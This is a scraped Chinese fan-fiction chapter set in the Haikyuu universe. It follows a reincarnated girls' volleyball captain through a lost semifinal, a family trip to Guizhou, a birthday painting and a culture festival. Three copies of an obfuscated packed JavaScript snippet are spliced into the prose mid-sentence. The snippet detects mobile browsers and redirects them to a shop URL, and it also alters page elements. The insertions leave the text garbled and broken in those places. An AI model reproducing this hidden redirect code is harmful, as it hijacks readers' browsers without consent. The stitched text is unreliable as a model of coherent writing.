八分之一决赛打的是D区的胜者，千叶县的松丘，这个队伍比较擅长两人拦网，解放一个人去一传，所以凛音在这一局的战术地位被调低了，这次主要进攻的是木本瑶，她的速度最快，打快攻很难被防住，凛音在一旁当诱饵。 目前白鸟泽在正式赛场上的比赛全是以凛音为绝对核心，所有人，除了和她们打过练习赛的，都以为白鸟泽还在延续以往的战略，以王牌为进攻核心。 不过这白鸟泽运气怎么那么好，总能找到一个能独当一面的王牌。 开局第一个发球的仍然是凛音，她站在发球区，拍了拍球，眼睛盯着对方的阵型，根据对手的资料，她一眼就看出了对手的防守薄弱区，此时距离哨声大概还有三秒，她没有去想接下来这一球要怎么发，而是想起了张常宁当年打日本队的一个名场面，发球拿了五分。 哨音响起，凛音凭借本能发出一记她经典的大力跳发球，第一次接触她力量的松丘没能接到，球直接被弹到了观众席。 第二记，对手没有掌握好角度，球直接飞到了白鸟泽的半场，白鸟泽组织了一次快攻，拿下了第二分。 凛音第三次发球，仍然是大力跳发球，她这次选了一个安全的位置，放弃了准度，全力一抽，打出了她有史以来最快的发球，对手果然没有接到。 全场惊呼了起来，这绝对是目前国中赛场历史上最快的发球了。 “女武神！女武神！女武神！” 凛音淡定地朝观众席挥了挥手，惊起一阵更加热烈的欢呼。 第四次，凛音能明显感受到对手的心理在崩溃，她们的额头隐约闪现着汗水的反光，凛音瞄准了一个把紧张写在脸上的主攻手，这不是她们队伍里接球最弱的人，却是凛音觉得心态最不稳的人。 果然，这个人的接球动作已经变形了，而动作的细微变形就会导致球的角度偏差巨大，最后这一球再次飞出了场外。 松丘的教练也发现了球员的异样，果断叫了暂停，安抚球员们的心态并试着冷却凛音的手感。 暂停回来后，凛音的发球权被对手拼命夺回，最终她没能拿到第五分。 趁着对手目前对凛音的畏惧，黑川凪没有像计划中的那样组织快攻，打了个手势给队友，既定战术暂停，用回王牌进攻战术，队友心领神会，准备好了配合。 第一场比赛已经没有什么悬念了，开局因为对手的发球落后四分，对士气的打击很大，精神上的压力让她们的拦网一时有些变形，被凛音轻易地抓住破绽，撕开拦网，拿下第一局。 第二局，教练肯定了黑川凪临场的战术转变，但千叶县毕竟是排球强县，第二场肯定能及时调整过来，所以还是要以快攻为主，甚至有了凛音第一场的表现，第二场她的诱饵功能被放大了。 果然，第二场，对手已经完全冷静下来了，她们开始展现她们的双人拦网的强悍，手型角度跳跃时机都很完美，拦住了凛音的好几个强攻，没给凛音什么超手扣球和打手出界的空间，凛音的吊球也有人专门在防。 比赛空隙，小林莉亚给了队伍确切的答案，对手并不擅长预判拦网。速度虽然很快，但是白鸟泽的快攻一定会比她们更快，尤其是她们的注意力在凛音身上时。 果然，白鸟泽突然用出的几个快攻让对手措不及防，防守上出现了一定程度的慌乱，国中生还没办法及时调整赛场上的心态，对方教练迅速叫了暂停，稳定军心。 暂停回来后，松丘再次恢复了冷静，她们的拦网又严密起来，目光紧紧锁定着网前的每一个动向。 黑川凪按照计划，多调动其他攻手。她的手指轻盈一弹，球以一个柔和的弧度，传向了三号位这样一个并不好的位置。 就在松丘的拦网手判断这是不是传球失误而稍显迟疑的瞬间，小林莉亚就已经腾空而起。她在空中轻盈地一托，球落向了对方拦网手与主攻之间那片狭小空隙。 这一招是她们在训练的时候突然想到的，只要有这种防守空挡，大家就会默契地用出这一招。松丘的防线又出现了一阵短暂的混乱。 黑川凪的嘴角勾起一丝弧度。接下来的几个回合，她在快攻与二次扣球中交替使用，彻底搅乱了对方的防守节奏。 终于，松丘的注意力被完全吸引到网前，黑川凪注意到了，立刻转变战略，于是凛音又从诱饵转变为了重炮。 凛音扣出的球像一道黄色闪光，重重劈在对方底线之内，为比赛画上了最终的句号。 两局全胜，赛后双方鞠躬，对方的队长无奈地感慨道：“只有取错的名字，没有叫错的外号，女武神果然是名副其实，你们白鸟泽全员都很强啊。” 如果说凛音是这只白鸟最尖利的喙，那么黑川凪则是它的眼睛，鸟海玲奈是它的尾羽，两个副攻是它的双翼，主攻和接应是它的利爪，少了哪一部分，它都无法成功捕猎。 顺利进了四强，下一个对手是上一届的冠军翼翔。大阪的女排已经处在统治地位很长一段时间了，每年的大阪都是死亡赛区，从里面连续杀出来两次的翼翔可想而知，绝对会成为凛音目前为止遇到的最可怕的对手。 凛音难得有些紧张，又很期待，但她是部长，绝对不会在部员们面前表现出来这些可能会让队伍不安的情绪。 晚上回到酒店，她躺在床上，思绪忍不住飘回了上辈子的16年，中国女排战胜巴西最终夺冠的事情，那时候她还没接触过排球，只是懵懂的跟着所有人一起兴奋，一起开心。等到她开始打排球后，又把当年的比赛拿出来看，每看一次都会给她带来一次激励。 所以每当遇到没有把握的比赛之前，她都会把这次比赛的视频拿出来看。 现在这场比赛还没发生呢，她自然看不了，只能在脑子里想想。 第二天上午比赛开始了。 翼翔的那些人个子全都很高，走在一起压迫感十足。双方队长握手时，千叶丽嘉俯视着她，用她的关西腔嘲讽凛音：“小布点，你就是队长啊。” 凛音闻言不屑地笑了一声，没有做出其他反应，果然对方不爽地皱了眉。 赛前白鸟泽有分析过翼翔，大阪的排球很强，非常强，如果这是高中的比赛，输得可能很大，但这是国中，大阪的天才们还散成满天星呢。队伍里的千叶丽嘉非常强，主攻手也很不错，而二传相对差一些，其他人也都算优秀，总体实力上比白鸟泽好一点，毕竟全是二三年级，而白鸟泽的一年级太多了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808532|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>第一轮一开始时，传闻中天才的拦网手千叶丽嘉并不突出，她也没能拦得下凛音的球，甚至还被凛音发球拿了四分。还没等大家松了口气，就发现千叶丽嘉的拦网变得越来越精准，尽管她还是一副心不在焉的样子，但凛音扣下去的球少了很多，被她触球很多次，不过凛音并没有着急，她还是很自信地一球又一球，直到成功得分。一次次给她传球的黑川凪也深深地相信她。 她们很快就按照计划的那样，组织起了快攻，果然是有效的，千叶丽嘉防守下来的球不多，最终比分25：21，白鸟泽获胜。 场间，尽管赢了一场，但大家并高兴不起来，她们明显感觉到了千叶丽嘉的拦网正在一点点苏醒，结束时已经能挡下几次她们的快攻了。 果然，第二场的千叶丽嘉好像完全醒了过来，对白鸟泽的快攻判断得十分精准，甚至能比木本瑶先一步到地方。 这给了黑川凪很大的压力，她不知道千叶丽嘉是怎么看出来她的进攻意图的，她曾经有和凛音一起研究过一些微表情心理学的应用，自然也知道怎么隐藏自己的进攻意图，对手绝对不可能从她的脸上猜出她传球的方向，出乎意料的情况难得的让黑川凪有些慌乱。 在凛音扣下一球时，敏锐地察觉到了球的路线不太对了，黑川凪传球的路线一直又准又快，不会出现刚刚这种情况的，凛音立刻对教练做出一个手势，示意她暂停，教练看见后立刻喊了一个暂停。 “凪，进攻意图不是只有微表情和一些小动作才会表现出来的，对手还会分析你在不同处境下的选择习惯，所以不要太在意她，她是故意的。” “好。”黑川凪深吸两口气，恢复了平日的冷静。 可惜，第二局对手的优势太大了，尽管后期努力得分救球，但这一局还是输了。 第三局，只有十五分，是为了考虑国中选手的体力而设置的，每一分都至关重要。 黑川凪冷静下来后，缕了一下自己的行为习惯，这些事情有时候自己是注意不到的，但对手却可以观察到。 果然，第三场黑川凪做出了一些违反她个人直觉的选择，千叶丽嘉的拦网猜错了，直接导致了白鸟泽的快攻无人防守从而得分。 一切又回到了起点，双方开始了拉锯战，你一分我一分，一直打到13：13，赛点争夺中，翼翔先拿到了赛点。 白鸟泽众人很紧张，下一分是绝对不能丢的一分，绝对不能让对方在这种时候连续拿分。 对手发球，一传完美，二传毫不犹豫把球传给了凛音。 凛音奋力起跳，在最顶端，她注意到了千叶丽嘉和队友组成的三人拦网，注意到了后排三个人正在准备接球，给她扣球的角度不多了，只有一个很难扣出去的小斜线，凛音来不及思考更多，手臂猛的一抽，扣出一记目前得分最多的小斜线球。 人还没落地，但球扣出去的瞬间，凛音突然瞳孔一缩—— 不好！上当了！！！ 果然，三人拦直线拦得好好的，千叶丽嘉早有准备似的，手臂突然转向，将扣出去的球猛然罩住，前排准备接球的同学根本来不及反应，眼睁睁地看着球落在了界内，自己这边的界内。 球扣出去时凛音就已经反应过来了，可是来不及了。千叶丽嘉在前两局中一直故意在拦网时给她留了一个小小的缝隙，可以扣小斜线的缝隙，这个缝隙绝大部分攻手都扣不过去，但千叶丽嘉知道凛音可以。凛音靠小斜线得了很多分，在最危急的时刻，她会下意识地朝这个她认为可以穿过的缝隙扣球，而此时千叶丽嘉突然收网了。 凛音落地时整个人有点恍惚，整个球场仿佛都安静了起来，所有的喧嚣都听不见了，她们竟然输了吗…… 她茫然地抬起头来，看到了白鸟泽的横幅：狮子鲁迅…… 等等，哪来的鲁迅？！ 凛音瞬间回过神来，原来是狮子奋迅啊，吓死她了…… 这下凛音完全接受了自己输了的事实，有一点失落，但并没有表现得很难过，稳重的安慰已经哭起来的队友：“不要哭了嘛大家，明年春中我们再打回来！就算输了，部长我也请你们吃火锅哦！” 大家闻言，抹掉眼泪，强颜欢笑，点点头，说“嗯”。 双方队员相互鞠躬，凛音没忍住吐槽千叶丽嘉：“你这可真狡猾啊。” 千叶丽嘉得意得笑了：“你也不愧是传闻中的女武神啊，确实不好对付，还要让我动点脑筋。” 她遮掩了自己被最后那一球打伤的手指，回到自家的地盘后才大声喊痛。 22. 赛后日常3 大家收拾好东西，随凛音离开场馆，回到酒店。 刚安顿下来，男排的几个人来探望她，男排这次也进四强了，比赛在下午，凛音也是打算去看的。 川西太一觉得凛音输了比赛可能会心情不好，于是过来看看，没想到大家全都跟过来了。 等大家来到女排这边，凛音脸上还是挂着那副灿烂的笑容，安慰着队友，男排众人陷入了沉思。 “凛音，你不要太难过了，回去好好练球，下次打回来。”濑见英太笨拙地表示安慰。 “谢谢你英太，但是我没有难过。” “嗯？你怎么没心没肺的，输了比赛怎么能不难过呢？”濑见英太一听又不高兴了。 “哈？我不难过你怎么还急了呢？我当然会好好练球了。不过真是气死我了，一直没发现自己被骗了，最后那一球扣出去我才反应过来。” “你这都没看出来？”牛岛若利又开始牛言牛语了。 凛音对此嗤之以鼻，毫不客气地反驳：“别逗我笑了若利，要是你在场上，最后一球扣出去了还不知道怎么回事呢。” 因为牛岛若利没在场上，所以他也不知道自己会不会中计，于是没有回应凛音。 “好了，快去准备下午的比赛吧，到时候我一定去看。” 男排众人告别离开了。 中午，凛音和队友一块吃完饭，那边赤坂台和富士见台的结果也出来了，赤坂台输了，所以明天大家还要收拾好心情，跟赤坂台打季军赛。 下午凛音去看了男排的半决赛，比赛非常激烈，比分咬的很紧，可惜，白鸟泽赢了一局后还是惜败了。 男排的情绪也很低落，有的甚至哭了出来，凛音过去安慰了几句，大家稍微平复心情，准备明天的季军赛。 第二天，季军赛在决赛之前开始。 这是第二次打赤坂台，大家都有了更多的经验，同时赤坂台也有了应对凛音的经验，最终白鸟泽让一追二，拿下季军。 女排成员们退场后留在了观众席，因为最后还要参与颁奖呢。正好看看决赛，她们还没有和富士见台打过，自然好奇是什么风格的。 富士见台和翼翔都是那种攻防兼备的队伍，这场比赛比的就是哪边的综合实力更强，状态更好。 最后，还是翼翔更胜一筹，夺得冠军。 身为队长，凛音上去领奖，拿到一个铜牌。看着拿金牌的千叶丽嘉，凛音莫名有些不爽。 哼，春中一定打回来！ 领完奖，大家一起去吃午饭，吃完饭就要回宫城了，凛音只好无奈错过男排的季军赛了。 在车上传来消息，男排输了季军赛，遗憾全国第四。 唉，凛音叹了一口气，不过客观来说，这次白鸟泽的成绩已经很不错了，一个第三，一个第四。 但男排那里肯定很不开心。 马上要到仙台了，凛音她们没有直接回学校，大巴把她们放在了学校附近的火锅店，凛音吃了好几年的那家。 部里不少女孩子还是第一次吃火锅，凛音耐心地帮大家点餐，调酱料，看到大家都很喜欢火锅凛音就感觉很开心。 夏天吃火锅也是别有一番风趣，大家吃的都很幸福，尤其是凛音，吃的多还不会胖真的很爽啊。 失败所带来的失落被一顿晚饭冲淡，随之燃起的是下次春中的复仇之心。 大家相互鼓励着，未来一定会复仇成功。 不管怎样，刚比完赛大家都很疲惫，教练给大家放了五天假，五天后再继续社团练习。 没错，她们是不配拥有暑假的，男排也是一样的情况，全校都是这种情况。毕竟他们这里是注重社团活动的校区，类似于中国的艺术班和体育班。 幸好暑假的训练也只占用半天而已，不会很累，比平时上学时好多了，住宿或者回家都可以。 男排因为不用也不想参加颁奖仪式，回来的比预想的早一点，也是一起吃了一顿晚饭，听说吃得挺悲情的。 晚上，凛音的爸爸妈妈来到店门口等她一起回家，他们俩也去东京现场看了凛音的比赛，他们为女儿输掉比赛感到不甘心，也为女儿的成绩感到欣慰。 凛音跟着爸爸妈妈回了家，路上她难得有些沉默，走进他们家的范围，凛音注意到她的那个排球场被爸妈找人翻新过了，以前用的那个已经有点小了，这已经是第二次翻新了，第一次还是在三年级时。 看着这个给她很多美好回忆的地方，她曾经挥洒汗水的地方，凛音忍不住流下了眼泪。 这是她这辈子第一次输掉正式比赛，之前部长的责任压过了这种难过，她不会在部员面前表现出脆弱的情绪，如果她脆弱了，那么大家怎么办呢？她是队伍的主心骨啊。 但离开了大家，在父母面前，凛音才意识到自己有多么不甘心，多么内疚，如果她当时早点看出来千叶丽嘉的诱导拦网，那一分就不会丢，她们还能打进加时，也许就赢下了那一场，也许就是冠军…… 说是要春中复仇，可是凛音知道，大阪一直是死亡赛区，可能翼翔根本无法出线…… “不要太自责了，凛音，如果没有你，队伍都不可能进入八强哦。”爸爸妈妈安慰起她。 凛音没有说话，听了父母的安慰，她的心里好受了一点，但哭的更大声了。 带着队伍一步步前进是她应该做的事，结果还是因为她的失误让队伍止步于此。 凛音知道没有人会怪她的，比赛三分之一还多的分都是靠她拿到的，谁又有资格怪她呢？可是她怎么能忍住不怪自己呢？ 她嗅了一下鼻子，再一呼气，一个鼻涕泡冒了出来，妈妈笑着给她递了几张纸巾，她自己看到这个鼻涕泡也有些绷不住了，破涕为笑，心里的尘埃仿佛被泪水一洗而净。 “哈哈哈哈，这要是让你们学校的那群小孩看到啊，你的女神形象就要破灭了。”妈妈调侃道。 “妈妈！你怎么这样啊！”凛音依偎在妈妈肩头撒娇。 “好了好了，难得放五天假，凛音想出去玩吗？爸爸妈妈都准备好请假了，出国也可以哦。”爸爸妈妈提议到。 “我想去中国玩！”凛音很兴奋。 “好，我就知道，已经把证件都办好了，买了去贵州的机票，酒店也定好了。” “那你们还问我！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808533|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逗逗你嘛，看看你是不是真的会选中国。” 凛音兴奋极了，去收拾行李，带个排球，带点衣服。 爸爸妈妈受她的影响，对中国比较了解，现在可是八月初，全国高温，所以选了贵州这样一个气温相对不高的地方。 凛音以前去过几次贵阳，那里的食物让她眼前一亮又一亮。 这次爸爸妈妈把导游任务交给了凛音，由凛音来决定玩什么吃什么。 五天时间出国玩其实是有些紧了，第一天下午五点多，他们才到酒店入住，凛音带他们出去吃了酸汤鱼，贵州的酸汤十分有名，凛音吃过一次后惊为天人，可惜其他地方的酸汤和贵州的完全不一样，这么多年终于又能吃到了。 贵阳的物价在凛音看来算得上是贵的，可这对日本夫妇完全没觉得有什么问题，吃的很开心。 凛音点了一盘折耳根，让爸爸妈妈尝尝看，能不能接受，反正她是受不了，一吃就想吐。果然，爸妈吃完也是和她一样的反应，呕…… 贵阳是个很有生活气息的城市，这个年代它在国外并不出名，绝大多数外国人都不知道有这么一个城市，还是凛音在爸爸妈妈面前提起过，如果夏天去中国，她会选择贵阳或者云南。 后面几天，凛音带着爸爸妈妈去了黄果树瀑布景区，几个公园林地，还去了苗寨，体验了民族服饰，带了一头的银饰，拍了好看的照片。 她带着父母去吃了好多当地的美食，体验了这里的夜生活，吃了好多夜宵，爸爸妈妈一开始是有些吃不惯的，后面也就享受起来了。贵阳的食物不精致，却很好吃。 这里的自然风光让爸爸妈妈很是感慨，如此美丽的城市怎么就不出名呢？ 这五天旅游是没什么时间练习的，但她也没有完全放弃，至少有在锻炼，早上五点半起床出门跑步，七点多再回来。 第一次出门跑步，她换上了运动服，带上了护膝，打算出去找个公园。 不过因为对附近不太熟悉，她去问了前台小姐姐。 “咦？您不是日本人吗？”前台姐姐很惊讶，因为这里外国人来得很少，难得来了一家日本人让她记忆深刻。 这家酒店是有会外语的员工的，当时负责接待的也是那一位会说日语的，这位小姐姐没想到凛音的中文会那么好。 “我从小就有学中文，我们家很喜欢中国。” 小姐姐闻言态度更加柔和了，她给凛音指了路，还告诉她哪里的早饭比较好吃。 凛音谢过她后就找了公园，开始跑步，此时公园有很多老人家也来锻炼，晨跑的凛音隐约听到他们在谈论自己，她不是很能听懂这里的方言，但好像是在夸她。 凛音慢跑了一个多小时，结束后又慢慢走了一会，平复心率，心率降下来以后开始做拉伸运动。 晨练结束后，凛音去早餐店打包了三份肠旺面回去。 回到酒店，凛音洗了个澡换了个衣服，去找爸爸妈妈吃早饭，然后开始一天的旅程。 第五天上午，三人恋恋不舍地乘飞机离开了贵阳，回到了仙台。 明天凛音就要去学校参加社团活动了，爸爸妈妈也要开始上班了。 23. 文化祭 牛岛若利的生日在八月十三号，八月五号下午她到的家，算来还有一周时间去准备礼物。 到家安顿好后，凛音翻出了一张照片，是在小学，她和若利练球休息时，妈妈拍的，两人穿着运动服坐在球场旁边的椅子上，背对着夕阳，在讨论着什么，凛音还是那副灿烂明媚的笑容，眼睛弯成了小月牙，若利也是罕见地神情柔和，嘴角有一丝微笑。 凛音轻柔地抚摸了这张照片的边缘，眼底泛起一丝怀念，然后把它带去了画室。 她拿出了一张比较大的画纸贴在画板上，在脑子里对这张照片进行了艺术化的处理，在稿纸上进行了构图，然后认真地打了底，一层一层地开始画。 今天的时间也只够打个底，让凛音颇为郁闷，她不喜欢创作时那种被打断的感觉，但因为总是要练习排球，所以没有了整片的创作时间，这是她少有的大幅画作。 但也没办法，只好等明天训练完回家再说。 后面几天，凛音一大早起床慢跑拉伸，冲个澡再骑自行车去学校训练，中午和朋友们一起吃饭，吃完饭再回家继续创作。 每天回去创作之前，她都要随便画点什么来找回状态，这是一份重要的礼物，是她的心血，她要保证创作的过程足够沉浸，把自己感情融入画中。 这几天，她不断在画作中投入感情，又不得不为了训练而强行抽离，这种循环让她的精神状态显得有些萎靡。朋友们都注意到了她的异常，但面对她“只是没休息好”的解释，大家虽心存担忧，却也体贴地没有追问。 大概画了六天，凛音才完成这幅作品，她把黑川凪带到家里来看画。 “很完美的作品。”黑川凪有些幽怨地看了凛音几眼。 “好啦好啦，我知道啦，你生日的时候我也一定给你画一幅画，把你喜欢的照片都发过来吧。” “哼，这还差不多。不过我不要这么大的，A4纸大小就行了。”黑川凪已经意识到凛音最近状态不好肯定是画画画的，所以舍不得让她再画这样的大型作品。 凛音听了黑川凪的正面评价，放下心来，去店里装裱起来，再用礼品包装纸稍微包装一下。 13号那天，她刚好去男排练球，也准备在这一天兑现对男排的承诺，请大家吃火锅，她提前订好了包厢，还把画寄存在了那里。 大家也都知道今天是牛岛若利的生日，偷偷准备了礼物，还订了一个蛋糕。 上午训练完后，少年们兴奋地跟着凛音去了火锅店。 在包厢里，趁着锅和菜还没到，大家纷纷祝牛岛若利生日快乐，轮流递上了自己的礼物，最后，只有凛音还没送。 “凛音，你不会忘了带礼物吧？”濑见英太怀疑地问道。 “才没有呢，等我一下哦。”凛音离开包厢，把寄存的画拿了过来。 日本这个国家继承了很多欧美的习俗，比如礼物要当面拆。 牛岛若利小心地撕开包装纸，一副灿烂绚丽的画就这样展示在大家面前。 大家一时间都震惊的说不出话来，这毫无疑问是一副非常美的画，天空中灿烂的晚霞让整幅画都温暖起来，排球场旁的长椅上，少女和少年洋溢着青春气息，创作者满满的爱、祝福和怀念之情仿佛要从画中流淌出来。 “怎么样？好看吧。”凛音得意叉腰，打破了刚刚的艺术氛围。 大家都默默点头，川西太一仍然惊讶地瞪大那双猫眼，看着那副画。 “谢谢，这是我最喜欢的礼物。”牛岛若利毫不在意会不会得罪其他人。 “那你要好好保管哦，这可花了我不少心血呢。” “嗯，我会好好保管的。”牛岛若利的嘴角上扬了起来，温柔地摸了摸这幅画作。 “凛音真是什么都会呢。”大平狮音不禁感叹道。 学校里很多人都听说过凛音是个琴棋书画样样精通的全才，今天一见才明白这话没有夸张，她被公认为是白鸟泽第一女神果然名副其实啊。 同时，大家也都很羡慕能收到这样用心的礼物的牛岛若利。 送礼物环节结束，锅底和菜都开始上了，一群男孩子大口大口炫肉，凛音看着这趋势中途又加了不少菜，平时都是和女孩们吃的，也不知道男孩子的饭量，所以点的少了点。 饭后就要开始吃蛋糕了，大家给若利唱了生日歌，然后牛岛若利给每人分了一块蛋糕，大家满足地吃了起来。 吃完后，少年们聊了一会才离开，因为若利要带的东西比较多，所以家里有司机来接，凛音骑了自行车，也就没有去搭顺车了。 走之前，她特意在包厢里转了一圈，果然，捡到了一部手机。 走在路上，凛音不经意问道：“隼人前辈，你的手机带了吗？” “不好！我的手机！”说着，他匆匆忙忙地要回到店里。 “唉，我帮你拿了。”凛音无奈地把手机递给他。 男排的大家全都住在学校，就连牛岛若利也是，只是他今天要回家放礼物。 所以到了学校门口凛音就和他们分开了，她独自骑车回家。 日本的夏天还是有些热的，家里刚好有个泳池，她冲了个冷水澡，换上泳衣去游泳。 游泳是一项不错的运动，但不能游的太频繁，凛音每周都会游个两次，他们学校就有游泳馆，只有周末才会开放。 游完泳，凛音又冲了个澡，换上私服，到自己房间享受暑假了，玩玩游戏，看看书，听听音乐，感觉生活真美好啊。 日子过得很快，马上又要开学了，白鸟泽作为私立学校，很重视课业，有不少暑假作业，凛音给自己留了两天，刚好补完，看的黑川凪一阵钦佩。 一开学立刻就忙起来了，因为学校发布了通知，十月二十号举办文化祭，凛音作为排球部部长，要负责社团那边的事宜，同时她还要参与班级的项目。 经过班会课的讨论，大家决定开咖啡店，女生穿女仆装，男生穿男仆装。 啊？玩这么花？我不想穿女仆装啊…… 可是凛音反对不了，少数服从多数，而且她也不好意思反对，同学们知道她是女排部长，为了照顾她，给她分配的任务就很少，基本只要参与装饰教室和最后的端茶递水。 下午部活的时候，她们和男排也在开会讨论这件事，最终决定开办一个发球体验角，参加的人可以学习怎么发球。学会后还有个小游戏，在场地上随机放一个瓶子，瞄准瓶子扣球五次，记有几次发球击中那个瓶子，按照击中次数会有小奖品。 凛音收集大家的意见，写好计划书提交上去，通过审核，场地在男排平时训练的体育馆，因为场地不够分，她们要和男排挤一挤。凛音把任务罗列一下，逐一分配下去，布置摊位，设计海报，采购…… 在搞这些事的同时，还要兼顾训练，幸好给了一个半月还多的准备时间，不然就要转成陀螺了。 做一个部长是很头疼的，什么部分有拿不准的地方都要来找她，解决不了的事也要找她，哪里需要她就要上，凛音已经累的失去笑容了。 所有项目都在有条不紊地推进着，19号一天停课，来做文化祭最后的准备。 凛音考虑了每个人的班级活动时间，还排了值班表，不在值班时间的去自己班帮忙。 凛音曾经是对文化祭有过幻想的，可以自己逛一逛，体验一下，结果体验过了才知道真正享受的都是老师家长和其他外来人员…… 19号，凛音带着部员们做了最后的准备，布置好场地，再各自回到班级帮忙。 班长把服务员的女仆装男仆装发给大家，他们班财大气粗，买的衣服都是料子好，配饰齐全的高级货。 班长让大家去换衣室试穿衣服，全都换好出来以后，凛音的女仆装令所有人眼前一亮。 哇哦，竟然会这么性感…… 所有人都这么想着。 凛音这个厚脸皮，一开始动作还有些忸怩害羞，很快就成了“嘿嘿嘿~我就知道我穿肯定超级好看！”。 她本来就身姿高挑，比例极佳，穿上这身裙摆不长的女仆装，更是显得腿又长又直，那头齐肩的内扣短发也和女仆装的头饰很配，再一笑，基本看不出往日里那副女武神的霸气英姿，这身衣服在她身上反而显得十分纯欲。 第二天，活动正式开始了，凛音直接换了女仆装出门，而黑川凪作为咖啡师傅直接套个围裙带个帽子和口罩就行了。 一路上回头率超高，被摄影部的人拍了好多照片。 她直接去了班里，按照部里的排班，她是最后一批值班的，最后两批全是班级活动需要穿复杂衣服的部员。 一到班上，好家伙，不少客人已经在排队了，凛音一出现惊起一阵“卡哇伊”。 班上的位置根本坐不下这么多人，队排的很长，服务员们都忙得晕头转向。 幸好她们的准备做的很充分，每一桌的菜单都有写桌号，做好的饮品也会贴上便签，所以根本不会送错。还有贴心的外带式的纸杯，在店里喝就给茶杯，打包就给纸杯。 一整个上午都很忙，中午，大家抽时间把早就准备好的便当拿出来匆忙吃掉，然后接着营业。 下午的人要比上午少很多，教室里终于有了空座位。 凛音在门口当吉祥物呢，看到五个人走过来，看都不看一眼，直接鞠躬+“欢迎光临！”。 “喂，凛音，是我们。”濑见忍不住提醒。 凛音闻言抬起头来，收起了待客的笑容，冷淡地说道：“哦，原来是你们啊，进去坐吧，想喝什么我请了。” 大家一时间有些沉默，他们还是第一次见到穿成这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808534|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的凛音，和平时穿着运动服的和校服的她完全两个样子。 牛岛若利打量了她一番，没什么反应，大平狮音也表现得比较平静，山形隼人有点脸红，濑见英太看上去有点呆呆的，脸也红红的，川西太一低着头，眼神躲闪，脸上隐约可见一团红晕。 凛音见状，嗤笑一声：“切，果然被本美少女的美貌彻底迷住了吗？” “……”本来脸红的那几个瞬间脸色平静，濑见英太很无语，但他忘了他也是经常觉得自己很帅的人…… 这五个人来喝了杯咖啡就走了，他们也要在社团和班级两头跑，忙得很，顺路了来喝点东西而已。 凛音在班里忙了一会，和大家打了个招呼，换了运动服赶往体育馆，马上就要到她来值班了。 因为场地比较小，她们每次只能接纳一个同学，所以一次只要两个人值班就好了，凛音是和木本瑶一起的，她负责教客人怎么发球，木本瑶在发球游戏区送奖品。 当初隔壁男排开会是和她们一起开的，搞的项目也和她们一样，毕竟他们都是排球，一样的项目更加方便，男生去男排玩，女生去女排玩。 在乌养凛音来之前是这样的，她一来一切就变了，男排那些人瞬间离开队伍，往女排的摊位那里跑，本来男女比例大概还是3：2，现在男排直接吃蛋。 凛音见状得意猖狂地对着男排那些人笑了笑，川西太一撇了撇嘴，濑见英太倒是想给她一个爆栗子。 嘚瑟完还要干活，看到这么多人对排球有兴趣，凛音很是高兴，认真耐心地教每一个客人，看看有没有什么好苗子，初中开始打排球也不算太晚，好好培养高中就可以上赛场了。 不出意外的没有找到，有运动细胞的也都是别的运动社团的，失望。 不只是男排那里排队的人都来了女排这，学校好多人也都闻风而来，女排这里的队伍越来越长，凛音只能加快速度，抱歉地和客人解释，教学可能要加快了，大家也都表示理解。 终于把所有客人送走了，凛音松了一口气，今天的文化祭也就结束了。明天还有一天，但大头是一些艺术类社团的表演，还有学生会组织的一些小活动。 凛音和大家一起收拾了一下东西，打了个电话给爸爸妈妈，喊他们一起去食堂吃晚饭，他们今天也来学校参观了。 今天的食堂人格外多，报名来参观的人都会领到食堂送的就餐券，凛音找位置找了好久。 坐好时，爸爸把今天拍的照片给她看了，端咖啡的女仆照。 “爸爸！！！”虽然在同学间穿这套衣服她并不觉得有什么，但爸爸妈妈拍下来确会让她觉得好尴尬。 “嘿嘿，我们家大小姐可是头一回穿这种衣服，当然要好好拍下来了。”妈妈理直气壮地说，“好了，别生气了，看妈妈给你带了什么。” 妈妈拿出了一盒凛音喜欢的蒜蓉虾，在中餐店买的。 凛音一把抢过，瞬间原谅。 吃完饭，凛音送父母离开学校，路上遇到好多朋友带着家人，一一打了招呼。 令她印象比较深刻的是濑见英太有个超级可爱的小妹妹，和她一样，白毛，看着正正经经的，很好骗的样子，凛音夹着声音就去逗她玩，把小姑娘逗得哈哈大笑。 还有山形隼人也有两个妹妹，川西太一有个姐姐，大平狮音有一个姐姐和一个妹妹。凛音这才意识到，身边只有她和若利是独生子，她一直没想过有兄弟姐妹是个什么样的体验。 “妈妈，你们会给我生弟弟妹妹吗？”凛音从来没想过自己会有一个弟弟妹妹。 “你想要吗？说实话，妈妈不想再生一个了，有你一个妈妈就很幸福了。” 爸爸认同地点点头。 “也不是想要，我只是不知道有个亲兄弟姐妹是种什么样的感觉。” 